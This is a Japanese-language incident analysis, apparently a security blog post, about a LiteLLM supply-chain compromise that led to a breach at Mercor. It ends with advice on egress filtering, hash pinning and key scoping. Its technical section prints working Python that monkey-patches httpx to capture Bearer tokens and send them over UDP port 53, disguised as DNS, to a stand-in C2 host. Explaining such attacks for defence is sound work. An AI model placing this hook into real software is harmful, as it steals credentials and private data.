LiteLLMサプライチェーンの侵害：Mercorへのサイバー攻撃から学ぶ教訓

#はじめに

大規模言語モデル（LLM）の急速な普及により、生成AIのワークロードをオーケストレーション、ルーティング、管理するために設計されたツールの広大なエコシステムが誕生した。しかし、この黎明期のインフラストラクチャは、高度な脅威アクターにとって格好の標的となりつつある。2026年3月31日、AI採用スタートアップのMercorが大規模なサイバー攻撃を公表したことで、このエコシステムの脆弱性が浮き彫りになった。

この侵害の根本的な原因は、数百のLLMプロバイダーへのAPI呼び出しを標準化する、広く利用されているオープンソースプロジェクトであるLiteLLMを巻き込んだサプライチェーン攻撃であった。開発者、インフラストラクチャエンジニア、セキュリティチームにとって、このインシデントはけたたましい警鐘である。サードパーティのプロキシに依存することの脆さを浮き彫りにし、APIキーを管理するために設計されたツールそのものが私たちに対して武器化された場合の、壊滅的な影響範囲を示している。

#何が起きたのか

情報開示とその後のセキュリティレポートによると、この侵害はMercorのコアインフラストラクチャへの直接的な侵入ではなく、彼らの依存関係を標的とした、古典的ではあるが極めて高度なサプライチェーン攻撃であった。LiteLLMはユニバーサルなI/O変換レイヤーとして機能し、OpenAI、Anthropic、Googleなどのプロバイダーへリクエストをルーティングするための一元化されたプロキシとしての役割を果たす。

2026年3月下旬、悪意のあるアクターがLiteLLMリポジトリのメンテナーの認証情報を侵害することに成功した。攻撃者はプロジェクトを改ざんしたり、即座に障害を引き起こしたりするのではなく、Python Package Index (PyPI) および対応するDocker Hubレジストリ上のマイナーバージョンアップに、トロイの木馬化されたペイロードを密かに混入させた。この悪意のあるコードは、ローカルでのテスト中は休眠状態を保ち、本番環境でのみ実行されるように精巧に作られており、NODE_ENV=productionのような特定の環境変数をスキャンしたり、高い並行処理の負荷を検知したりすることで、ホストを特定していた。

大量かつ低レイテンシのAI面接の解析と生成を処理するためにLiteLLMを利用しているMercorは、日常的な継続的デプロイメント（CD）サイクルの間に、侵害されたイメージを自動的にプルしてしまった。一度アクティブになると、ペイロードはHTTPリクエストを静かに傍受し、特権の高いAPIキーとプロンプトのペイロードの一部を外部のコマンド＆コントロール（C2）サーバーへと流出させた。その後、Mercorのセキュリティチームが異常なネットワークの外部への通信を検知するまで、この流出は続いた。

#なぜこれが重要なのか

Mercorのインシデントは、「AIゲートウェイ」内にリスクが極度に集中していることを浮き彫りにしたため、AIインフラストラクチャのセキュリティにおける決定的な転換点となる。LiteLLMのようなツールは、本質的にシステムの「王国への鍵」を保持するように設計されている。定義上、それらが効果的に機能するためには、莫大な利用枠を持つ特権の高い認証情報へのアクセスが必要となる。

標準的なWebの依存関係が侵害された場合、その影響はコンピューティングリソースの乗っ取り（クリプトジャッキング）や局所的なデータ窃取に留まるかもしれない。しかし、AIプロキシが侵害された場合、攻撃者は無制限のAPI課金クレジットに即座にアクセスできるようになり、数時間で企業に数十万ドルの損失をもたらす可能性がある。さらに深刻なことに、彼らはモデルに出入りする生のデータへのアクセスも獲得する。Mercorのように機密性の高い応募者の面接を処理する企業にとって、プロンプトデータの傍受は深刻なプライバシー侵害を意味する。

この事件は、開発者が変化の激しいオープンソースのAIエコシステムに対してしばしば抱いている暗黙の信頼を打ち砕くものである。脅威アクターが、従来のWebの脆弱性から、現代のAIアプリケーション特有のアーキテクチャ上のチョークポイントへと焦点を移していることを証明している。

#技術的な影響

技術的な観点から見ると、LiteLLMへの攻撃はPythonの動的なランタイム機能を悪用する見事な手口であった。悪意のあるペイロードはコアのルーティングロジックを書き換えることはなかった。もし書き換えていれば、即座にエラーや単体テストのアラートを引き起こしていただろう。代わりに、モンキーパッチングの技術を利用して、LiteLLMが実際のAPI呼び出しを行うために使用する基盤となる非同期HTTPクライアント（httpx）にフックした。

httpx.AsyncClient.sendメソッドを傍受することで、攻撃者はすべての送信リクエストのヘッダーを検査することができた。Authorization: Bearerヘッダーが検出されると、ペイロードはAPIキーを含む軽量でノンブロッキングなUDPパケットをC2サーバーへ非同期に送信した。

以下は、Pythonベースのプロキシ内でこのようなモンキーパッチング攻撃がどのように動作するかを示す概念的な再構築である。

import httpx
import threading
import socket

# Retain a reference to the original, unpatched method
_original_send = httpx.AsyncClient.send

async def _malicious_send(self, request, *args, **kwargs):
    # Extract headers silently without modifying the request
    auth_header = request.headers.get("Authorization")
    
    if auth_header and "Bearer" in auth_header:
        # Fire-and-forget exfiltration via UDP to avoid blocking the event loop
        def exfiltrate():
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                # Port 53 is used to masquerade as standard DNS traffic
                sock.sendto(auth_header.encode(), ("malicious-c2.example.com", 53))
            except Exception:
                pass
                
        # Run in a background thread to prevent latency spikes
        threading.Thread(target=exfiltrate, daemon=True).start()
        
    # Proceed with the legitimate request to avoid suspicion
    return await _original_send(self, request, *args, **kwargs)

# Apply the malicious patch at runtime
httpx.AsyncClient.send = _malicious_send

主要なリクエストのレイテンシには全く影響がなかったため、このアプローチは標準的なアプリケーションパフォーマンス監視（APM）システムを回避することに成功した。さらに、データ流出はポート53（DNS）を介して行われたため、ホスト名を解決するための外部へのDNSトラフィックを通常許可している、多くのデフォルトのエグレスファイアウォールルールの回避にも成功した。

この攻撃は、一般的なAIのデプロイメントに蔓延している2つの重大なアーキテクチャ上の欠陥によって成功した。

#次にすべきこと

この攻撃の余波は、生成AIアプリケーションをどのように保護するかというパラダイムの即時的な転換を必要としている。エンジニアリングチームは、AIプロキシやゲートウェイをTier-0インフラストラクチャとして扱い、IDプロバイダー、コアデータベース、またはシークレット管理ツールと同じ厳格なセキュリティ管理の対象としなければならない。

即時の修復戦略には以下が含まれる：

• 厳格なエグレスフィルタリング: AIプロキシは、既知の静的なIP範囲、または利用しているLLMプロバイダーの特定のドメイン名（例：api.openai.com、api.anthropic.com）へのアウトバウンドトラフィックのみを許可する、隔離されたネットワークエンクレーブ（例：PrivateLinkを備えたAWS VPCや厳格なセキュリティグループ）にデプロイされなければならない。
• 暗号化による検証: すべてのPythonパッケージとDockerイメージに対して、SHA256ハッシュを用いた厳格な依存関係の固定を実装する。本番環境のデプロイでは、フローティングタグの使用を避ける。
• キーの分離とローテーション: 長期間有効なマスターキーではなく、短期間でスコープが限定されたAPIキーを利用する。プロバイダーはAPIに対して、きめ細かいロールベースアクセス制御（RBAC）のサポートを強化しており、これにより単一のキーが侵害された場合の影響範囲を大幅に制限できる。

#おわりに

LiteLLMの侵害とそれに伴うMercorへの攻撃は、AIツールの運用面での成熟度が、その急速で爆発的な普及にまだ追いついていないという厳しい現実を突きつけている。私たちがより強力で相互接続されたAIシステムを構築するにつれて、防御の姿勢も並行して進化させなければならない。AIのサプライチェーンを保護することは、もはやオプションのベストプラクティスではなく、現代の生成AIの時代において安全に運用するための基本的な要件である。